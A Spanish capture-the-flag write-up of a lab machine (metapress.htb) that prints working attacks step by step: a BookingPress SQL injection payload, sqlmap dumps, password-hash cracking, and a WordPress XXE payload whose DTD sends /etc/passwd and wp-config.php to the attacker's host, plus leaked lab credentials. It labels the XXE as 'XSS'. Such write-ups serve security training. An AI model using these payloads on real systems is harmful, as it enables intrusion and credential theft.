1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.186
Tiene como salida:
10.10.11.186 (ttl -> 63): Linux
2. Descubrimiento de puertos y servicios
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.186
Obtenemos el siguiente resultado:
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos
nmap -sCV -p21,22,80 10.10.11.186
Observamos que nos devuelve la siguiente salida:
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.93SVN%I=7%D=2/28%Time=63FE1B4A%P=x86_64-unknown-linux-gn
SF:u%r(GenericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff
SF::10\.10\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20mor
SF:e\x20creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20
SF:creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Debemos añadir entonces metapress.htb al archivo /etc/hosts
:
4. Recorremos la página web
Navegando por la página web observamos que existe un recurso específico para la gestión y reserva de eventos http://metapress.htb/events/
. Mirando el código fuente, o mediante la herramienta Wapalyzer, nos damos cuenta de que utiliza el software BookingPress
. Podemos entonces buscar por internet alguna vulnerabilidad asociado con dicho servicio, apareciendo entonces la siguiente: https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
.
En dicho exploit se nos pide, que por ejemplo ejecutemos el siguiente comando, para obtener la versión de la base de datos:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
Pero observamos como no causa ningun efecto, y por lo tanto no se produce ninguna salida. Investigando un poco sobre dicho exploit nos damos que esto puede ser debido por el wpnonce
, pues no es igual para todos los casos, por lo que buscamos dicho valor en el código fuente de la página web y obtenemos el siguiente valor wpnonce=9ac98eaf15
. Por lo que ahora ejecutamos el siguiente comando con el nuevo valor de wponce establecido:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=9ac98eaf15&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
Observamos entonces la siguiente salida, en la que somos capaces de obtener la versión de diferentes servicios:
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]#
5. Automatización del ataque
Llegados a este punto podemos tratar de sacar información manualmente realizando peticiones contra la base de datos. O directamente utilizar la función sqlmap para lanzar un ataque automático contra dicha base datos. Nosotros nos vamos a decantar por esta segunda opción. Para ello primero deberemos enviar la siguiente petición curl para que sea procesada por nuestro proxy (burp
):
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=9ac98eaf15&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' -x 127.0.0.1:8080
Una vez capturada, la guardamos en un archivo con extensión .req
, en nuestro caso con el nombre request.req. A mayores debemos de modificar el contenido de dicho archivo, quitando la parte de la inyección y quedando de la siguiente manera, con el campo total_service
con el valor 1.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: curl/7.87.0
Accept: */*
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
Connection: close
action=bookingpress_front_get_category_services&_wpnonce=9ac98eaf15&category_id=33&total_service=1
A continuación con la herramienta sqlmap deberemos de seleccionar la petición a realizar y el parámetro sobre el cual queremos hacer la inyección, que en nuestro caso será total_service
. En un primer momento listamos las bases de datos de dicha aplicación, ejecutando para ello el siguiente comando:
sqlmap -r request.req -p total_service --dbs
Y obtenemos que existen las dos siguientes bases de datos:
[17:23:39] [INFO] fetching database names available databases [2]:
[*] blog
[*] information_schema
Lìstamos la informacion de las tablas de la primera base de datos mediante el siguiente comando:
sqlmap -r request.req -p total_service -D blog --tables
Y obtenemos la siguiente salida:
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
Nos llama la atención la última tabla llamada wp_users
, por lo que procedemos a extraer su contenido mediante el siguiente comando:
sqlmap -r request.req -p total_service -D blog -T wp_users --dump
Y observamos las dos siguientes entradas, en las que podemos ver dos usuarios (admin y manager) y dos contraseñas en formato hash para cada uno de ellos:
1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank>
2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank>
6. Crackear los hashes de las contraseñas
Podemos entonces intentar crackear los hashes de las contraseñas utilizando para ello la herramienta jhon. Para ello creamos un archivo hashes
con el siguiente contenido:
hashes:
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Y utilizando como dicctionario rockyou.txt
lanzamos la herramienta jhon:
john -w=/usr/share/wordlists/rockyou.txt hashes
Siendo capaz de obtener que para el usuario manager, su credencial es partylikearockstar
.
7. Intento de acceso al sistema
Luego de comprobar que no podemos acceder al servicio ftp, ni al servicio ssh con dichos credenciales de usuario, intentamos acceder al panel de configuracion de wordpress, el cual está en el endpoint http://metapress.htb/wp-admin
. Luego de introducir dichos credenciales (manager:partylikearockstar), podemos ver como tenemos acceso.
Con la extensión del wapalyzer
vemos que estamos ante un wordpress version 5.6.2, por lo que podemos buscar exploits por Internet que afecten a dicha versión, encontrando https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447
, en el que a grandes rasgos nos dicen que podemos realizar una explotación XSS mediante un archivo .wav. Para ello es necesario realizar los siguientes pasos:
-
Empezamos creando un archivo .wav, mediante el siguiente comando, en el que le decimos que obtenga de nuestra maquina host un archivo en formate .dtd.
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.93:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
-
Creamos entonces el archivo
evil.dtd
, con el siguiente contenido, en el que le decimos a la máquina objetivo que nos realiza una petición http, con el contenido el base64 del archivo/etc/passwd
:<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.93:8888/?p=%file;'>" >
-
Lanzamos un servidor con Python, en el directorio en el que creamos el archivo
evil.dtd
:sudo python -m http.server 8888
-
Subimos el archivo .wav al siguiente endpoint
http://metapress.htb/wp-admin/media-new.php
. Y observamos que automáticamente obtenemos la siguiente respuesta:10.10.11.186 - - [01/Mar/2023 10:48:29] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
Si decodificamos esto en base64, por ejemplo con la herramienta ciberchef, observamos que se trata del fichero
/etc/passwd
:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
8. Explotación de XSS
En este punto se nos puede ocurrir obtener por ejemplo la clave ssh del usuario jnelson, mediante la vulnerabilidad XSS. Pero observamos que no obtenemos nada de vuelta, por lo que descartamos esta opción.
Podemos intentar obtener el archivo de configuracion del servicio ftp. Este normalmente se encuentra en la ruta /etc/vsftpd.conf
pero no somos capaces de obtener nada. También probamos con la ruta /etc/proftpd.conf
y /etc/proftpd/proftpd.conf
pues se trata del servicio proftpd
pero tampoco somos capaces de obtener nada.
Se nos ocurre mirar entonces la extensión wappalyzer sabiendo que la página web utiliza el servicio nginx, por lo que intentamos obtener el fichero de configuracion de sites-available
. Para ello deberemos de configurar el archivo evil.dtd
, con el siguiente contenido:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.93:8888/?p=%file;'>" >
Luego de decoficarlo en base64, observamos que obtenemos lo siguiente:
server {
listen 80;
listen [::]:80;
root /var/www/metapress.htb/blog;
index index.php index.html;
if ($http_host != "metapress.htb") {
rewrite ^ http://metapress.htb/;
}
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
expires max;
log_not_found off;
}
}
Como podemos observar, no encontramos nada interesante. Sabemos a mayores que utiliza wordpress, asique intentamos obtener el fichero de configuracion wp-config.php
. Este como podemos saber del anterior fichero se va a encontrar en la ruta /var/www/metapress.htb/blog
, por lo que deberemos de configurar el archivo evil.dtd
de la siguiente manera:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.93:8888/?p=%file;'>" >
Observando que obtenemos el siguiente resultado:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
En el como ppodemos observar existe un usuario ftp con los credenciales metapress.htb:9NYS_ii@FyL_p5M2NvJ
.
9. Accedemos al ftp
Intentamos acceder con dichos credenciales al servicio ftp:
ftp 10.10.11.186
Podemos observar el contenido de dicho repositivorio, viendo que existen dos directorios:
# cd
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
Si accedemos a la carpeta de blog
vemos lo siguiente:
# cd blog
# ls
-rw-r--r-- 1 metapress.htb metapress.htb 405 Feb 6 2020 index.php
-rw-r--r-- 1 metapress.htb metapress.htb 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 metapress.htb metapress.htb 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 metapress.htb metapress.htb 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 metapress.htb metapress.htb 4096 Oct 5 14:12 wp-admin
-rw-r--r-- 1 metapress.htb metapress.htb 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 metapress.htb metapress.htb 2328 Oct 8 2020 wp-comments-post.php
-rw-r--r-- 1 metapress.htb metapress.htb 2032 Jun 23 2022 wp-config.php
-rw-r--r-- 1 metapress.htb metapress.htb 2913 Feb 6 2020 wp-config-sample.php
drwxr-xr-x 6 metapress.htb metapress.htb 4096 Oct 5 14:12 wp-content
-rw-r--r-- 1 metapress.htb metapress.htb 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 metapress.htb metapress.htb 12288 Oct 5 14:12 wp-includes
-rw-r--r-- 1 metapress.htb metapress.htb 2496 Feb 6 2020 wp-links-opml.php
-rw-r--r-- 1 metapress.htb metapress.htb 3300 Feb 6 2020 wp-load.php
-rw-r--r-- 1 metapress.htb metapress.htb 49831 Nov 9 2020 wp-login.php
-rw-r--r-- 1 metapress.htb metapress.htb 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 metapress.htb metapress.htb 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 metapress.htb metapress.htb 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 metapress.htb metapress.htb 4747 Oct 8 2020 wp-trackback.php
-rw-r--r-- 1 metapress.htb metapress.htb 3236 Jun 8 2020 xmlrpc.php
Nos llama la atención la carpeta wp-admin
, por lo que listamos su contenido:
# cd wp-admin
# ls
-rw-r--r-- 1 metapress.htb metapress.htb 24543 Feb 22 2021 about.php
-rw-r--r-- 1 metapress.htb metapress.htb 4837 Oct 15 2020 admin-ajax.php
-rw-r--r-- 1 metapress.htb metapress.htb 2832 Jan 29 2020 admin-footer.php
-rw-r--r-- 1 metapress.htb metapress.htb 406 Feb 6 2020 admin-functions.php
-rw-r--r-- 1 metapress.htb metapress.htb 8620 Oct 29 2020 admin-header.php
-rw-r--r-- 1 metapress.htb metapress.htb 12133 Jul 22 2020 admin.php
-rw-r--r-- 1 metapress.htb metapress.htb 1671 Feb 6 2020 admin-post.php
-rw-r--r-- 1 metapress.htb metapress.htb 3826 Oct 8 2020 async-upload.php
-rw-r--r-- 1 metapress.htb metapress.htb 9850 Jan 28 2021 authorize-application.php
-rw-r--r-- 1 metapress.htb metapress.htb 11418 Sep 18 2020 comment.php
Vemos que existe un archivo llamado admin.php
, por lo que lo obtenemos para observar su contenido:
get admin.php
Observamos que al principio del fichero hay lo siguinte:
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
Es decir, vemos lo que pueden ser una credenciales jnelson:Cb4_JmWM8zUZWMu@Ys
.
10. Accedemos como el usuario jnelson
Accedemos mediante el servicio ssh con dicho usuario y contraseña, observando que conseguimos acceso al sistema:
ssh jnelson@10.10.11.186
11. Flag de usuario
Somos capaces de obtener la flag de usuario -> 16803612e80d4252e71267e0c570f529
12. Escalada de privilegios
Indagando por el sistema observamos una carpeta con el nombre .passpie
en el directorio del usuario. Passpie es un gestor de contraseñas, y su comando para listar las claves guardadas es # passpie
, obteniendo el siguiente resultado:
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════
Por lo que intentamos obtener la contraseña de root mediante el sigueinte comando, pero no somos capaces de obtenerla:
passpie export pass
13. Observamos archivos del sistema
Vemos que existe un archivo /home/jnelson/.passpie/.keys
que contiene un clave privada cifrada mediante pgp. Nos la copiamos a nuestro equipo e intentamos un ataque por fuerza bruta. Para ello primero la convertimos a un formato entendible para jhon mediante el siguiente comando:
gpg2john key > gpg.john
Lanzamos entonces el ataque:
john -w=/usr/share/wordlists/rockyou.txt gpg.john
Obtenemos como resultado lo siguiente:
blink182 (Passpie)
1g 0:00:00:02 DONE (2023-03-01 11:32) 0.3649g/s 61.31p/s 61.31c/s 61.31C/s ginger..987654
Use the "--show" option to display all of the cracked passwords reliably
Session completed
14. Obtención de contraseñas
Intentamos de nuevo obtener las contraseñas a través del gestor passpie, introduciendo la contraseña rescatada anteriormente:
touch pass
passpie export pass
Obteniendo como resultado lo siguiente:
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
Por lo que nos hacemos root mediante # su root
e introducimos la credencial p7qfAZt4_A1xo_0x
.
15. Flag de root
Somos entonces capaces de obtener el flag del usuario root -> 88570c370dc564d1cb5aee187980f08a